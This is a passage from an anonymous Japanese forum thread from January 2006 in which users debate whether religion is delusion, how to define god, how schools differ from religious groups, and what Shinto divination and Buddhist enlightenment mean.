582 名前：名無しさん＠３周年 ：2006/01/15(日) 16:47:29 ID:zigKCFiD: >>579
笑ってるような余裕は無いでしょう。
583 名前：名無しさん＠３周年 ：2006/01/15(日) 16:51:07 ID:vu2or2Hm: >>581
蓮華はカルトだと思えるが、具体的には、そのどこに救われたの？
それともあなたもカルト？
584 名前：( ´,_ゝ｀) ：2006/01/15(日) 16:54:45 ID:kOVh9d9K: >>582
いえいえ(^^♪
例えば、あなたの目の前にいる犬が、あなたに説明不可能で、
また、そのことによってその存在を否定されたとして、
あなたはその犬を抱くことができないですか？

その犬の頭をなでなですることができるでしょう(^^♪
なんのためらいもなく、抱いて、頭をなでなでしてあげればいいのです。
可愛いか可愛くないか？そんなことも関係ないんですよ。
585 名前：名無しさん＠３周年 ：2006/01/15(日) 17:10:01 ID:zigKCFiD: >>584
適合しない話を無理やり比喩にもってくるというのもどうかと思います。
どうやら、もう話をする価値も無いようです。
あなたのレスをみると、どうも卑しく笑いながら話しているという印象をうけます。
586 名前：無所属な旅人 ：2006/01/15(日) 17:17:39 ID:+5ewyDqz: >>576
属性としてあげたものそのもの自体も危うい理念の上にあるのは分かります？
検証不能かどうかと受け入れられるかどうかはある種不可分な判断基準の中に置かれます。
また、あなたの宗教の属性はある特定の団体のみにしか適用できないと申し上げているとおり、
否定する要素をふくんでますので、其れを押し通す前提でパラドクスといわれるなら、その時点で平行線です。

神の概念を共通化することをあなたが見出すことが可能であれば、その概念をもって其れを検証する方法を提示できるでしょうけれど、
その概念なり属性を示すことなくその論をとおすのであれば、方手落ちなのですよ。故、神の定義をしてくださいと即申し上げたはずです。

妥協や共通化による認識の一元化という手順を踏んだ後に”確からしい”と証明できたものを生活で利用していることは先に述べたとおりです。

>>581
観念は発生したときから軸として一人歩きし、その上に作られら状態各々が属性となります。
観念そのものに対する属性は一様であり、其れの理非正邪を測ろうとする場合、
関連する因果のなかで影響を感じる存在による判断でしかないのですよね。
ここでは妥当正当性とは別の話をしています。属性と其の軸についてです。

とりあえず此処まで。
587 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:21:10 ID:kOVh9d9K: >>585
真面目な、話も出来ますよ(^^♪
無所属の旅人さんと電球さんは昨日、私に重要なポイントを指摘していました。
私は、最初、その問題はたいした問題だとも思っておりませんでした。
実際、たいした問題ではないし、私はほとんど無視してもいい問題でもありました。
ところが、今日の朝、なぜ、そこにお二人がこだわるのだろうかと、逆の立場で考えたのです。
すると、私が単純に、もっと逃げたい重要なことがあることに気づいたのです。
そう考えると、昨日のやり取りがよくわかりました。
やはり、それほど大きなことではないと。
でも、１さんや電球さんや無所属の旅人さんとのやり取りは非常に深い一面が現われたと思ってます。
まだ、私ひとりではよくわかりませんが、再度検証する必要はあると思いますよ。
とりあえず、昨日の皆さんにも感謝しております。
588 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:25:46 ID:kOVh9d9K: >>586
>属性としてあげたものそのもの自体も危うい理念の上にあるのは分かります？

わかりますよ(^^♪
でも、私はそんな認識論よりも、
無所属の旅人さんにやってもらいたいことが、あるんですよ。
でも、先を急いでも始まらないので、もう少し、無所属の旅人さんの論理を見てみます。
589 名前：無所属な旅人 ：2006/01/15(日) 17:27:23 ID:+5ewyDqz: >>588
あらまぁ、こちらが先ですか・・別に構いませんけれど。
話を進める上で神の定義だけお聞かせください。

こちらがその範囲とするものはすでに述べています。
590 名前：名無しさん＠３周年 ：2006/01/15(日) 17:28:54 ID:vu2or2Hm: >>587
あなたは、何を基準として物事を考えているのですか。「深い」「浅い」
を決める基準は何ですか？

物事を思考する前に、まず、何を基盤として思考するかを決めるべき
では。思考は、基盤次第でどうにでもなります。確固たる現実に基づ
かない思考は、いくらやっても現実界では無意味・時間の無駄です。
591 名前：無所属な旅人 ：2006/01/15(日) 17:29:13 ID:+5ewyDqz: ん・・ところでいつになったら、のからなに変えてもらえるのですか・・。
592 名前：名無しさん＠３周年 ：2006/01/15(日) 17:29:23 ID:8XlOXlpv: >>581
>神や宗教は、現実による証明は不可能。理非正邪の判断基準は皆無。
>百人百様の「観念」。

百人百様の「観念」をすべてうけいれるだけの
大きなもの。それが本当の神。
593 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:34:00 ID:kOVh9d9K: >>589
いえいえ。
私に対する無所属の旅人さんの対称は、>>581で述べました。
>>586を読んでもブレがないと思っております。
私が、逆にお聞きしたいのは、
無所属の旅人さんが触れている、宗教なんです。
それは、宗教的も含めてかもしれません。
どれぐらい広い範囲なのか？
それともものすごく狭いのか？
多分、得意分野だと思うのですが・・・
594 名前：名無しさん＠３周年 ：2006/01/15(日) 17:34:39 ID:ZWHkw1zE: 宗教を否定するわけじゃないけど
世界が小さいよね。
俺は神だ。神よりも、仏より偉いんだと思えばいい。
狭い世界にとらわれていると
自由がなくなる。
595 名前：名無しさん＠３周年 ：2006/01/15(日) 17:38:17 ID:vu2or2Hm: >>592
＞百人百様の「観念」をすべてうけいれるだけの
＞大きなもの。それが本当の神。

それも、現実上の根拠の皆無な、百人百様の「観念」のうちの一つｗ。
人間は現実界に生存している。現実以外の客観的判断基準は皆無。

現実と空想との区別が出来なくなる状態を「妄想」といい、人間界では
精神障害として治療の対象になります。そのために精神病院があるのです。
596 名前：名無しさん＠３周年 ：2006/01/15(日) 17:39:15 ID:/VBF+1aI: 宗教やばいやばい！まじやばい！
597 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:40:56 ID:kOVh9d9K: >>590
重要な指摘ですね(^^♪
ただし、基盤はすでにあるでしょう。
このスレで皆さんがレスしてくれました。
私ひとりでレスしたものではないですよ。
様々な、レベルのものが集まっていると思います。
そして、集約されるいくつかがあると思います。
無所属の旅人さんもかなり協力だと思いますし、
これから、検証していかなければならないと思っておりますよ。
598 名前：名無しさん＠３周年 ：2006/01/15(日) 17:42:05 ID:8XlOXlpv: >>595

現実とは何かの?
599 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:43:18 ID:kOVh9d9K: げえっ、全然認識しておりませんでしたね。
失礼しました<m(__)m>
「な」ですね。
600 名前：無所属な旅人 ：2006/01/15(日) 17:44:10 ID:+5ewyDqz: >>594
直接内部まですこしでも関連した宗教であれば、
統一・創価・イスラム・キリスト
外から見ただけのものであれば、
仏教・神道・ヒンドゥ・その他土着型（気が付いてないと思われる）
童話や文学もそれにあたり、または、法律や哲学なども其れに当たる。
生活の中からというのであれば、
通常のコミュニティさえもその中であり、対話やその場に居合わせること
でさえ、その目の前に鏡を用意するようなものである。
おおよそ体育であってもその範疇である。
これは体との対話でその仕組みをりかいするものであり、特にヨガや太極拳
などは、その深部のメカニズムに迫るものと認識してます。

つまり、身近なもの全てから学び取ることそのものが総体としての宗教を学ぶことと認識しているのです。

用語の習得は全くしていません。
つかっている用語はその対話の中で出てきた概念を既存の理解と照らせ合わせ最も近いと思われるものを用いているのみです。

これでよろし？
601 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:47:18 ID:kOVh9d9K: >>600
まだまだ、検討することがあると思うのですが、
>身近なもの全てから学び取ることそのものが総体としての宗教を学ぶことと認識
というのは、日常的に常に宗教的なことがあるということですよね。
違いますか？
602 名前：名無しさん＠３周年 ：2006/01/15(日) 17:50:03 ID:ZWHkw1zE: >>601
宗教は妄想〔観念〕だということでしょう。
603 名前：名無しさん＠３周年 ：2006/01/15(日) 17:50:31 ID:vu2or2Hm: >>598
現実とは、五感で知覚できる世界。それがなければ、そもそも人間の
生存も、ましてや思考も不可能だから。
604 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:53:07 ID:kOVh9d9K: >>602
>宗教は妄想〔観念〕
そうなんですよ。
私もそうなんですが、そう言えてしまうのですが、
孤独な旅人さんは絶対に言いません(^^♪
605 名前：無所属な旅人 ：2006/01/15(日) 17:54:20 ID:+5ewyDqz: >>601
ある種の判断基準を持つようになると、
生活全てが新しい基準を追加した状態で行うようになると言うことです。
（教団宗教に関係せずとも習得できる基準は現在多用に存在します。）

わかりやすい範疇だけ申し上げると心の交流の様相を見つめると言う内容ですか。

何気ない判断の中に何を規準とするかという意識があるのか無いのかで、
小さい枠でしか居られないのかどうか顕著に分かれます。
606 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:55:17 ID:kOVh9d9K: 訂正
無所属な旅人さん<m(__)m>
怒らないでね。
607 名前：名無しさん＠３周年 ：2006/01/15(日) 17:57:20 ID:8XlOXlpv: >>603

盲目の人が思考できないとでも?

また目の錯覚で平行線が平行でないように
見えることもあるが、平行でないように
見える視覚も現実なのかな?
608 名前：( ´,_ゝ｀) ：2006/01/15(日) 17:57:43 ID:kOVh9d9K: >>605
たとえば、小学校はどうなのでしょうか？
ある種の教団と小学校はどのように違うでしょうか？
609 名前：無所属な旅人 ：2006/01/15(日) 17:58:57 ID:+5ewyDqz: ん？・・観念か実在か？

其れが見えるようになり理解できるようになるまでの初期の段階でしか、
そんなもの意識しなくていいんでないの？
610 名前：192 ：2006/01/15(日) 18:03:56 ID:u7yKRAoA: 宗教が妄想ではなく、今此処、この一瞬以外がすべて妄想。
過去も未来も観念も思考が作り出す妄想。
神仏に逢わったらそれも観念だから殺せばいい。
611 名前：無所属な旅人 ：2006/01/15(日) 18:05:33 ID:+5ewyDqz: >>608
学校も教団も共通認識を継承するために存在します。
何が違うかは聞かれた段階でお答えをもっていらっしゃるでしょ？
612 名前：名無しさん＠３周年 ：2006/01/15(日) 18:06:05 ID:ZWHkw1zE: 宗教もたくさんありすぎてわかんないよね。
信じてくれる人さえいれば何でもあり。
基準はないよ。
ただ、どこまで浸かるかという問題がある。
頭までスッポリはまり込むと、現実と妄想の区別ができなくなるでしょう？
それが怖いね。
613 名前：192 ：2006/01/15(日) 18:08:58 ID:u7yKRAoA: 何を言っておるのかさっぱりわからん。
特に>>605こりゃどういう意味だ。
614 名前：192 ：2006/01/15(日) 18:10:45 ID:u7yKRAoA: >>612
おまえ、宗教を妄想に浸ることと勘違いしてないか？
特に密教系は妄想を断ち切るためのただの具体的なノウハウだ。
お前らは、宗教関係なしに妄想ばかりしてるだろう。
615 名前：無所属な旅人 ：2006/01/15(日) 18:12:41 ID:+5ewyDqz: >>613
追加なのか、偏見の除去なのか、他の表現でもいいのですけれど。
何が判らないのかわからなければ追記は出来ません。
616 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:15:20 ID:kOVh9d9K: >>611
はい！
って言いたいところなんですけど、
実は、これを再度検証してみたかったのです。
つまり、小学校とある種の教団(まさに抽象的であとから問題になると思いますけど)

どのレスか忘れましたけど、電球さんも指摘してました。
無所属な旅人さんは、これを致命的欠陥だと追及してます。
でも、実際に宗教の問題の焦点としてるのは、この点だと思うのですよ。
小学校とある種の教団の境界。
ただし、それを無所属な旅人さんのように、認識論的に取り出しても無駄だと思うのです。
多分、先ほどのように、神という概念を説明することになりますから。
でも、明らかに、皆さんはその違いを共有しているんです。
無所属な旅人さんなら、それを取り出すことをせずに、
うまい具合に、説明できると思ったのです。
いかがでしょうか？
617 名前：名無しさん＠３周年 ：2006/01/15(日) 18:17:22 ID:ZWHkw1zE: そもそも、神道系は星占い、風水、亀甲とかさ、
意味不明なことから発展していくわけ。
妄想といえなくもないの。
618 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:17:33 ID:kOVh9d9K: 192さん、こんばんは(^^♪
192さんにもやってもらいたいことがたくさんあって、
とりあえず、どうしたらいいかわからないんですけど、
待っててくださいね。
質問しますから。
619 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:19:00 ID:kOVh9d9K: >>617
神道に詳しいのですか？
神道って良くわかんないですけど、宗教的？
620 名前：192 ：2006/01/15(日) 18:22:46 ID:u7yKRAoA: >>615
そうか。それはすまんな。

>>605
端的に言えば
１．判断基準が変われば生活が変わる。（まあわからんでもない）
２．心の交流を見つめる内容ですか（ここがとくにさっぱりわからん）
３．何気ない云々のところは、悪いが自分でもどこがわからんのかもわからんぐらいわからん。
621 名前：192 ：2006/01/15(日) 18:23:54 ID:u7yKRAoA: >>618
ﾉｼ
622 名前：名無しさん＠３周年 ：2006/01/15(日) 18:26:10 ID:ZWHkw1zE: >>619
>>619
宗教的だよ。八百万の神様を信仰しているから。
623 名前：無所属な旅人 ：2006/01/15(日) 18:26:43 ID:+5ewyDqz: >>616
分けてみましょうかとすぐに出来るものでもないかもしれませんよ？
ある種の教団をきめてもらえますか？
624 名前：無所属な旅人 ：2006/01/15(日) 18:29:56 ID:+5ewyDqz: >>620
1.新しい基準の認識と追加ですね。
2.１の基準による実地見聞というか体験追加というかそういうことです。
　対象が居なければ特に心や精神のないように関する実地は出来ません。
3.何気ないというか、基準なく勝手にやっていたことを理解の上で行動するということ。
　何気ないとかいたのは意識していない状態を示したかっただけです。
625 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:30:17 ID:kOVh9d9K: ﾉｼ？
って、イエスってことね(^^♪

ところで、原始仏教って、現在はまったく絶たれているんですか？
発達したり、逆にヨガのようにより実践的になったりしてないんですか？
昨日から、192さんに聞きたいことだったのですよ。
626 名前：名無しさん＠３周年 ：2006/01/15(日) 18:31:55 ID:8XlOXlpv: 現実の定義さえまともなものがでていないのではないかな。
それなのに「現実」ということばを使って理路整然であるかの
ように議論する心境がわからないなあ。
627 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:33:33 ID:kOVh9d9K: >>622
神道の教義ってあるんですか？
易経とかでもいいんですけど、そういったテクストみたなものがあるんですかね。
仏教と同じようなもの。
628 名前：名無しさん＠３周年 ：2006/01/15(日) 18:35:59 ID:8XlOXlpv: 数学も科学も、人間の認識型式を表現したまでのこと。
それが「現実」だというのもあいまいで意味がない。
629 名前：名無しさん＠３周年 ：2006/01/15(日) 18:38:24 ID:ZWHkw1zE: どんな妄想でも、信じる人がたくさんいれば教団になる。
一人だと妄想だけど、信じる人が多ければ宗教だ。
妄想と観念は想像の世界。現実は現実。
神様がいるとイメージするのは現実ではない。
その区別ができなくなると怖い。
630 名前：名無しさん＠３周年 ：2006/01/15(日) 18:39:27 ID:8XlOXlpv: >>628

1+1=2 の場合でいえば

実数の公理をみたすものが、
「リンゴ一個の認識と別の一個の認識で、リンゴ二個の認識になります」
という認識型式にあてはまります

ということ。決してそこに「現実とは、、、」
という意味合いはない。
631 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:39:50 ID:kOVh9d9K: >>626
それも非常に重要な点だと思いますよ。
というか、その検証をこれからしなければならないんです。
でも、その前に、みなさんの宗教的の範囲を確認したいんですよ。
だって、批判したりなんだかんだ言っても、
日常的に使うわけですし、192さんもまさにその点を批判しているわけですから。
そして、その部分の論証不能性は無所属な旅人さんがやってくれましたよ。
全部、揃ってるじゃないですか？
これ以上、なんにも必要ありませんよ。
そう思いませんか？
632 名前：名無しさん＠３周年 ：2006/01/15(日) 18:42:13 ID:ZWHkw1zE: >>627
詳しい知識がないからわかんないけど。
神社の神主さんは易経やりますね。
633 名前：192 ：2006/01/15(日) 18:42:37 ID:u7yKRAoA: >>624
気づきってこと？
634 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:42:56 ID:kOVh9d9K: >>623
全く、急ぐ必要ありませんので、
やりやすいサンプルで、なにかやりましょう。
多分、問題は、宗教的という概念にはないんですよ。
どんなときに、宗教的という概念が現われるかということなんです。
どうです？
これだと、いい例が見つかりますよね。
635 名前：無所属な旅人 ：2006/01/15(日) 18:45:07 ID:+5ewyDqz: >>( ´,_ゝ｀)さん
ん・・よくよく考えたら、私の認識だと世界そのものが
宗教としての対象になってしまってるので、無理か・・
先ほどの線引きのための基準くだされ…^-^;
（ある教団と小学校の役割の違いについての制約条件）

いまの教団の認識がその辺の教習所と一緒になてしまってるので…。
636 名前：無所属な旅人 ：2006/01/15(日) 18:46:51 ID:+5ewyDqz: >>633
気が付くというか、あることに悟るプロセスというかその様な感覚です。
637 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:47:10 ID:kOVh9d9K: >>632
それって、自然対象を科学的に分析して、
災害とか、豊作を予知したりって事なんですか？
638 名前：名無しさん＠３周年 ：2006/01/15(日) 18:53:21 ID:ZWHkw1zE: >>637
易経に科学的根拠はないよ。
風水みたいなもので、1＋１＝２みたいな
根拠のない足し算で、豊作を予知するということ。
639 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:56:21 ID:kOVh9d9K: >>637
でも、それは自然現象からコード化されるんですよね。
まあ、細木数子みたいにめちゃくちゃじゃなくても、
多少は、わけわかんないなりの、系統はあるわけですよね。
640 名前：( ´,_ゝ｀) ：2006/01/15(日) 18:57:20 ID:kOVh9d9K: >>639訂正
637⇒>>638
641 名前：名無しさん＠３周年 ：2006/01/15(日) 19:03:37 ID:ZWHkw1zE: >>640
それはあるよ。
平安京を作ったときも陰陽師が風水を使ってつくってるから。
連想ゲームのようなね。
インド発祥の星占いがベースなんじゃないかな？
642 名前：名無しさん＠３周年 ：2006/01/15(日) 19:07:44 ID:8XlOXlpv: 「ある事象を体系だって説明すること」

これは学校でも宗教占い団体でも同じ。

学校で教えられるのは「誰でも同じ条件なら同じ結論がでること」
の確認が「容易」であること。宗教占い団体でも建前上は
「誰でも同じ条件なら同じ結論がでること」を主張したいのではないかな。
しかし宗教占い団体では、その確認が「困難」ということかな。
秘儀とか、お告げとか、修業とかでね。

あくまで容易か困難か、という相対的な違いでしかない。
643 名前：( ´,_ゝ｀) ：2006/01/15(日) 19:08:36 ID:kOVh9d9K: >>641
その中の神って、まさに自然そのものなのかな？
いわゆる自然の法則みたいな・・・・
つまり、神道における対象って、神というよりは、
コード化された自然ということなのかなと。
644 名前：( ´,_ゝ｀) ：2006/01/15(日) 19:12:29 ID:kOVh9d9K: >>642
うひょ、ありがとうございます。
>あくまで容易か困難か、という相対的な違いでしかない。
それが、具体的に現われたような、なんか具体的な事件ありませんか？
無所属な旅人さんだけでは、大変ですし、
正直、私はその辺のこと知らないものですから(^_^;)
新聞記事とか・・・
645 名前：名無しさん＠３周年 ：2006/01/15(日) 19:15:58 ID:ZWHkw1zE: >>643
自然が神様。
時間がたつにつれて成熟して体系化されたの。
646 名前：( ´,_ゝ｀) ：2006/01/15(日) 19:20:30 ID:kOVh9d9K: >>645
ということは、易経って、
巨大なデーターベースから目の前にある自然現象の予兆を読み取るということ？
647 名前：名無しさん＠３周年 ：2006/01/15(日) 19:25:02 ID:ZWHkw1zE: >>646
そう。
亀の甲羅を割ったり、星占いををしたり、
自然を体系化しちゃったわけ。
昔の科学だな。
648 名前：名無しさん＠３周年 ：2006/01/15(日) 19:27:40 ID:ZWHkw1zE: >>647
すごくシンプル。
今のように複雑じゃないもの。
守護霊とかさ、昔はなかったよ。
649 名前：( ´,_ゝ｀) ：2006/01/15(日) 19:28:26 ID:kOVh9d9K: >>647
そのときの疑問点なんですけど、
星占いは、星座？それとも、星？
また、今の科学的アプローチと同じものってなんかあるんですか？
650 名前：名無しさん＠３周年 ：2006/01/15(日) 19:29:25 ID:8XlOXlpv: >>644

事件はわからいですが、「あなたもやればわかります」
って勧誘して、勧誘された方は高い金払わされた経験は、日常茶飯事
ではないですかね。

>>642
の容易か困難か、という相対的な違い
というのはあくまで試験的に表現したまでです。
確認の方法が確立されているか、確立されていないか
といった方がいいかなあ??
651 名前：名無しさん＠３周年 ：2006/01/15(日) 19:35:46 ID:ZWHkw1zE: >>649
星と星座。かく星にも意味をみい出して
神様に見立てるの。北斗七星を信仰している神社もあるよ。
科学的じゃないけど、統計はとってるかもね。
生まれた日で性格がわかるとかさ。
それが発展していくと、四柱推命になったり
28宿占いになるの。
だけど、星を平面で見てることがおかしいし、
星に影響されている科学的根拠はないの。
それではこれで。
652 名前：( ´,_ゝ｀) ：2006/01/15(日) 19:38:05 ID:kOVh9d9K: >>650
ありがとうございます(^^♪

つまり、なにを抉り出したいかといいますと、
無所属な旅人さんが指摘した、宗教団体の宗教性と、
宗教団体でないところの宗教性を比較したいのです。
当然、同じはずです。
ということは、日常的な宗教性が明確になるはずなんです。
そうすれば、なぜ、宗教が必要なのか、不必要なのか区別できるはず。
ただし、これは、循環論法になる。
そこに、なにかテクニカルな部分が必要なんです。
それを考察してくれるはずなんです。
無所属な旅人さんが。あるいは、192さんが(^^♪
653 名前：無所属な旅人 ：2006/01/15(日) 19:51:17 ID:+5ewyDqz: >>( ´,_ゝ｀)さん
そもそも私が神を何と見てるかの説明してませんでしたね。

個人的には、世界を存在させる所の「性質」の全てです。
その象徴や物事の視点を与えてくれる観念でさえもその中に含まれるものとしています。

神に人格があるかは問いません。
その中の性質により彩られたものを観ていければそれで良いでしょう。
（判る段階になって改めればよいでしょう。）

一般の神の定義と一致するかは判りません。
各宗教の神を意識すると上で一度紹介した部分象徴としての様相(Ｂ)を呈するとして観る対象の中に入れているものです。

少しは視点の役に立ちますか？
654 名前：( ´,_ゝ｀) ：2006/01/15(日) 20:01:27 ID:kOVh9d9K: >>653
>少しは視点の役に立ちますか？
無所属な旅人さんの視点そのものが役に立つんです(^^♪
内容も役に立ちますけど、それよりも視点なんですよ。

電球さんが現われたら、このスレを再度検討しようと思ってるんですけど、
そもそも、先ほども書きましたけど、
このスレは、私と１さんの宗教の否定についての検討から入りました。
そして、私はその否定的な要素について言及しました。
電球さんは部分否定はできても、全部否定はありえないとしました。
しかし、無所属な旅人さんは、私が列挙した要素は、
属性ではあっても、その集合の決定的要素である以上は、
部分ではなくて、全体なんだと指摘しているわけですよね。
私は、昨日それに気づいてはいたんですが、
実際の宗教を否定できない以上は、無所属の旅人さんの指摘は、無視できないと思ったのです。
つまり、私は宗教を否定できないと。
そういうことですよね？
655 名前：( ´,_ゝ｀) ：2006/01/15(日) 20:11:30 ID:kOVh9d9K: それで、もう一度考えてみたんですよ。
なにがおかしかったのか。
詳細については省略するとして、
結局、無所属な旅人さんも電球さんも私も、
まったく、同じ事を指摘していて、違うものを見ているだけだということなんです。
つまり、宗教という実際的な話をしているわけではなくて、
教団に限らずに浮遊している宗教性について、問題にしているだけなんだと。
ということは、実際的にその宗教性を問題にすればいいだろうと。
ところが、これは、無所属な旅人さんの指摘どおりに、関係性の問題です。

>その中の性質により彩られたものを観ていければそれで良いでしょう。
>（判る段階になって改めればよいでしょう。）
つまり、間主観性の弊害から、逃れる必要がありますよね。
時間がかかると思うのです。
でも、問題の認識は一致してると思ったのです。
一致してるという認識さえあれば、どんなに時間がかかっても、
その問題の範囲と奥行きと深さはわかるだろうと思うのです。
違いますか？
656 名前：192 ：2006/01/15(日) 20:41:21 ID:u7yKRAoA: 宗教嫌いな人を見つけたら、こう言ってみよう。

この世の中に「唯一絶対なる存在(神)」が存在するだって？そんなのあるわけない。

「人生かくあるべし」とか「精神のレベルを上げる」とか、下らねえ。腹が減ったら食べる。眠かったら寝る。それでいいじゃん。

この世に正義とか悪とか、そんなものねえんだよ。

秘法とか修行と称してなんだかわけのわからん事をして何になるというんだ？あいつらバカだね。神秘体験なんてヤクでラリってるのと同じだ。

もし上の考え方に対して、「うんうん、その通りだ」と言う人がいたら、その人は無宗教ではない。
立派な仏教徒である。彼らは自分を無宗教だと思っているが、それは「宗教に入る」というアクションをしていないからそう思っているだけで、
実際にはじわじわと仏教に染まっていたのだ。特に「唯一絶対のものはない」が仏教の根本理念である。あとのことはそこから導き出されるものだ。
だから、これを信じていれば仏教徒だと言っていいだろう

コピペだけど正しい。
657 名前：( ´,_ゝ｀) ：2006/01/15(日) 20:46:38 ID:kOVh9d9K: 192さん(^^♪
そんな、否定の否定で遊ばないで、
自分で自分を肯定することの、論理正当性について答えてよ。
つまり、原始仏教の悟りって、
無条件の自己肯定？
それとも、他者との関係性での自己肯定？
192さんは、仏教に詳しいからわかるでしょう(^^♪
658 名前：192 ：2006/01/15(日) 20:47:56 ID:u7yKRAoA: 宗教バカは規則とか戒律を絶対視して、どんなことがあっても守ろうとするからダメなんだ。世の中に合わせて柔軟にやらなくてはいけないのに。

宗教ってテロとか起こすし、違う宗教同士で戦争ばかり起こすし、ロクなもんじゃない。宗教が政治にまで深く入り込んでいるからいかんのだよな。

宗教をやっている奴らは自分たちが絶対に正しいと信じ込んでいて、俺たちが何を言っても「サタンの言うことには聞く耳を持たない。地獄に落ちろ」と言う。地獄に落ちるのはそっちの方だ。

休みになるとどこかの老人ホームや福祉施設なんかに行って、ボランティアをして、「いいことをした」と優越感に浸っている。そこまでは勝手にすればいいけど、それを俺たちに自慢するな！はっきり言って偽善者だね。

このような発言をしたのは他でもない、イエスである。

これもコピペ。
659 名前：192 ：2006/01/15(日) 20:51:30 ID:u7yKRAoA: >>657
そう思うなら、お前にとっては佛教の教えは否定の否定の遊びなんだろう。
それでかまわんよ。

自分で自分を肯定することの論理的正当性という語句の意味がわからん。
無条件の自己肯定の意味もわからん。
他者とのもよくわからん。

正直観念論はよくわからん。
あと、佛教詳しくないが。
660 名前：無所属な旅人 ：2006/01/15(日) 20:52:12 ID:+5ewyDqz: >>654、655
部分ではなく全体を表現された対象が今ひとつ飲み込めないのですが、
宗教を形容したり否定するに至るまでの決定的要素が不足しているということで
部分とするならそのとおりです。

言われる主観性からの脱却と言うのが、ある面宗教が行おうとしていることです。
また、悟ったと言う状況もこれの複合で発生するものです。

教団宗教のうちいくつかは主張をとおすために主観性に陥りました。
すべての教団宗教とも一部とも言いません。

宗教とは何であるかの視点が違うから其れを指摘しただけで、
その先の論については特に意図したものではありませんでした。

おおよそ対教団宗教で目標としている所は、この主観性分離に尽きます。
これが、教団宗教の教義であるのか、その構成員によるものなのか
その辺も含めてです。
661 名前：( ´,_ゝ｀) ：2006/01/15(日) 20:53:34 ID:kOVh9d9K: >>658
だから、192さんは、
実際に顔を洗うときの顔はどっちだって言うんでしょ(^^♪
わかりますよ。

自他の関係性について熟知してる192さんにも参加してもらいたいんですけどね。
どうですか？
ゆっくりやりましょうよ。
なにをしたいかは、もうお分かりでしょ。
662 名前：192 ：2006/01/15(日) 20:54:07 ID:u7yKRAoA: >>657
悟りとは
「人生かくあるべし」とか「精神のレベルを上げる」とか、下らねえ。腹が減ったら食べる。眠かったら寝る。それでいいじゃん。
この世に正義とか悪とか、そんなものねえんだよ。

まあ、こういう境地になること。悟ってないからしらんが、聞いた話ではそんなかんじ。
大凡人になること。なにもないただの人になることが悟り。
663 名前：192 ：2006/01/15(日) 20:56:19 ID:u7yKRAoA: >>661
なにをしたいかは、もうお分かりでしょ。

さっぱりわからんよ。なにをしたいの？
664 名前：( ´,_ゝ｀) ：2006/01/15(日) 20:57:47 ID:kOVh9d9K: >>662
お互い、そんなことはどうでもいいのですよ。
２ちゃんやって、悟りなんて開けるわけないんですから(^^♪

どちらにしても、宗教って、192さんが前に指摘したとおりに、
あちこちにあるんですから、
その視点だけでも必要なんですよ(^^♪
難しいんですから。
665 名前：( ´,_ゝ｀) ：2006/01/15(日) 21:00:59 ID:kOVh9d9K: >>663
とりあえず、こういうのはどうでしょう？
「神」と「他者」の違い。
それをとある宗教の教団で検証した場合。
666 名前：192 ：2006/01/15(日) 21:04:20 ID:u7yKRAoA: >>665

>>656この世の中に「唯一絶対なる存在(神)」が存在するだって？そんなのあるわけない

俺が紙について語るとまさに言葉遊びになるな。キリストスレで聞いてくればいい。此処にはキリスト者はいないみたい。
667 名前：( ´,_ゝ｀) ：2006/01/15(日) 21:06:17 ID:kOVh9d9K: >>660
>宗教とは何であるかの視点が違うから其れを指摘しただけで、
>その先の論については特に意図したものではありませんでした。

なにが違っているでしょうか？
再度、ご指摘いただけますか？
668 名前：( ´,_ゝ｀) ：2006/01/15(日) 21:08:40 ID:kOVh9d9K: >>666
では、「自己」と「他者」の違い
669 名前：よりみち ：2006/01/15(日) 21:17:44 ID:8XlOXlpv: >>666

唯一絶対の存在は「神と他者の違い」ではなぜ存在しないの?
670 名前：192 ：2006/01/15(日) 21:21:47 ID:u7yKRAoA: >>668
自己も他者も妄想だとしたら、その違いにどれほどの意味がある。
671 名前：192 ：2006/01/15(日) 21:22:44 ID:u7yKRAoA: >>669
唯一絶対の存在ってそんなもんいるのか？しらん。
672 名前：( ´,_ゝ｀) ：2006/01/15(日) 21:40:09 ID:kOVh9d9K: >>670
妄想でないとしても、どれほどの意味がある(^^♪
ということね。
673 名前：無所属な旅人 ：2006/01/15(日) 21:44:24 ID:+5ewyDqz: >>( ´,_ゝ｀)さん
おおよそ、宗教とはと神とはを少し紹介したので先ほど
言われていたもので間違ってないと思いますよ。

時制判りやすい表現したほうがいいですね…私の表現。

ん・・キリスト者の使う定義か・・
原罪については一度解釈を提示したが何者も返答できなかったな・・。
674 名前：よりみち ：2006/01/15(日) 21:51:59 ID:8XlOXlpv: >>671

「唯一絶対のものはない」が仏教の根本理念とすると
確かなものはなにもないということ?
これでなんで厭世にならないのだろうか?
675 名前：名無しさん＠220周年 ：2006/01/15(日) 21:55:03 ID:pcqvKtqJ: 妄想すると存在にはなるが実在にはならない。
676 名前：( ´,_ゝ｀) ：2006/01/15(日) 21:56:20 ID:kOVh9d9K: >>673
まあ、そんなに違いないと思うんですよ。
結局、その使い方についての考察になりますしね。
気長な話だと思うんですよ。
別に、すぐにできるとも思ってないし、できればいいと思ってるだけですから。
でも、やれたら、宗教性について、かなり実践的な話になると思うんですよ。
我々の外部にある話ではないので、面白いと思うんですよね。

とりあえず、今日は落ちます。
677 名前：192 ：2006/01/15(日) 21:57:23 ID:u7yKRAoA: >>674
今この瞬間だけは確かにあるように思える。
678 名前：192 ：2006/01/15(日) 22:13:35 ID:u7yKRAoA: すべては幻想である。ということを受け入れられる人なら

そして、すべては無常であり、そのことだけが真実である。＝佛教。
そして、幻想ではない真実がどっかにあるらしい＝神。
のどっちか。結局は同じことを言ってるんだろうけど。

この世になにか価値があると思っていれば、宗教（否定も含めて）はその人の価値観、器に応じたものになる。
679 名前：192 ：2006/01/15(日) 22:48:17 ID:u7yKRAoA: >>672
そうだ。
